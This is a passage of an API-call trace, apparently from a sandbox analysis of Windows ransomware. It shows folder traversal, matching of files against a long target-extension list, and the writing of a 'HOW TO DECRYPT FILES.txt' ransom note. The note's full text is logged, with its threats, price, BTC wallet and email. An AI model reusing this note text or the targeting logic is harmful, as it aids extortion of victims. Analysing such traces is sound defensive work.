(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.xdw") returned 0 [0099.399] lstrlenA (lpString="*.xdw") returned 5 [0099.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.ods") returned 0 [0099.399] lstrlenA (lpString="*.ods") returned 5 [0099.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.wav") returned 0 [0099.399] lstrlenA (lpString="*.wav") returned 5 [0099.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.mp3") returned 0 [0099.399] lstrlenA (lpString="*.mp3") returned 5 [0099.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.aiff") returned 0 [0099.400] lstrlenA (lpString="*.aiff") returned 6 [0099.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.flac") returned 0 [0099.400] lstrlenA (lpString="*.flac") returned 6 [0099.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.m4a") returned 0 [0099.400] lstrlenA (lpString="*.m4a") returned 5 [0099.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.csv") returned 0 [0099.400] lstrlenA (lpString="*.csv") returned 5 [0099.400] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd60a8740, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xf7b0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0099.400] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0099.400] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd60a8740, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 0 [0099.400] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0099.401] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5227d40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5227d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5227d40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c642e30, dwReserved1=0x72006c, cFileName="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0", cAlternateFileName="MIE476~1.0")) returned 1 [0099.401] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0") returned -1 [0099.401] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0") returned -1 [0099.401] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0099.401] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0" [0099.401] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0") returned 90 [0099.401] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5227d40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5227d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5227d40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0099.402] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.402] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5227d40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5227d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5227d40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.402] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.402] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.402] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36680c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36680c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd36680c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 1 [0099.402] lstrcmpA (lpString1=".", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.402] lstrcmpA (lpString1="..", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.402] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\*.*") returned="*.*" [0099.402] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\", lpString2="10.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a" [0099.402] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a") returned 117 [0099.402] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36680c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36680c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd36680c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0099.403] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.403] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36680c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36680c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd36680c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.403] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.403] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.403] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd36680c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36680c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd36680c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xa1c0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0099.403] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0099.403] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll") returned -1 [0099.403] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll") returned -1 [0099.403] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll") returned -1 [0099.403] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0099.403] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" [0099.403] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\") returned="" [0099.403] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0099.403] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.outlook.hostadapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0099.404] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.outlook.hostadapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0099.413] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0099.413] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0099.415] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0099.415] CloseHandle (hObject=0x90) returned 1 [0099.415] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll" [0099.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.ems") returned 0 [0099.415] lstrlenA (lpString="*.ems") returned 5 [0099.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.db") returned 0 [0099.415] lstrlenA (lpString="*.db") returned 4 [0099.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.dbf") returned 0 [0099.415] lstrlenA (lpString="*.dbf") returned 5 [0099.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.myox") returned 0 [0099.415] lstrlenA (lpString="*.myox") returned 6 [0099.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.myo") returned 0 [0099.415] lstrlenA (lpString="*.myo") returned 5 [0099.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.qbw") returned 0 [0099.416] lstrlenA (lpString="*.qbw") returned 5 [0099.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.qbb") returned 0 [0099.416] lstrlenA (lpString="*.qbb") returned 5 [0099.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.qbm") returned 0 [0099.416] lstrlenA (lpString="*.qbm") returned 5 [0099.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.qbo") returned 0 [0099.416] lstrlenA (lpString="*.qbo") returned 5 [0099.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.qbx") returned 0 [0099.416] lstrlenA (lpString="*.qbx") returned 5 [0099.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.qba") returned 0 [0099.416] lstrlenA (lpString="*.qba") returned 5 [0099.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.qby") returned 0 [0099.417] lstrlenA (lpString="*.qby") returned 5 [0099.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.qbj") returned 0 [0099.417] lstrlenA (lpString="*.qbj") returned 5 [0099.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.ofx") returned 0 [0099.417] lstrlenA (lpString="*.ofx") returned 5 [0099.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.qif") returned 0 [0099.417] lstrlenA (lpString="*.qif") returned 5 [0099.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.mye") returned 0 [0099.417] lstrlenA (lpString="*.mye") returned 5 [0099.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.mbox") returned 0 [0099.417] lstrlenA (lpString="*.mbox") returned 6 [0099.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.eml") returned 0 [0099.417] lstrlenA (lpString="*.eml") returned 5 [0099.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.pst") returned 0 [0099.417] lstrlenA (lpString="*.pst") returned 5 [0099.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.ost") returned 0 [0099.417] lstrlenA (lpString="*.ost") returned 5 [0099.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.idx") returned 0 [0099.418] lstrlenA (lpString="*.idx") returned 5 [0099.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.dbx") returned 0 [0099.418] lstrlenA (lpString="*.dbx") returned 5 [0099.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.sql") returned 0 [0099.418] lstrlenA (lpString="*.sql") returned 5 [0099.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.mdb") returned 0 [0099.418] lstrlenA (lpString="*.mdb") returned 5 [0099.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.fdb") returned 0 [0099.418] lstrlenA (lpString="*.fdb") returned 5 [0099.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.wab") returned 0 [0099.418] lstrlenA (lpString="*.wab") returned 5 [0099.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.dat") returned 0 [0099.418] lstrlenA (lpString="*.dat") returned 5 [0099.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.txt") returned 0 [0099.418] lstrlenA (lpString="*.txt") returned 5 [0099.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.jpeg") returned 0 [0099.418] lstrlenA (lpString="*.jpeg") returned 6 [0099.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.jpg") returned 0 [0099.419] lstrlenA (lpString="*.jpg") returned 5 [0099.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.png") returned 0 [0099.419] lstrlenA (lpString="*.png") returned 5 [0099.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", pszSpec="*.php") returned 0 [0099.419] lstrlenA (lpString="*.php") returned 5 [0099.419] PathMatchSpecA 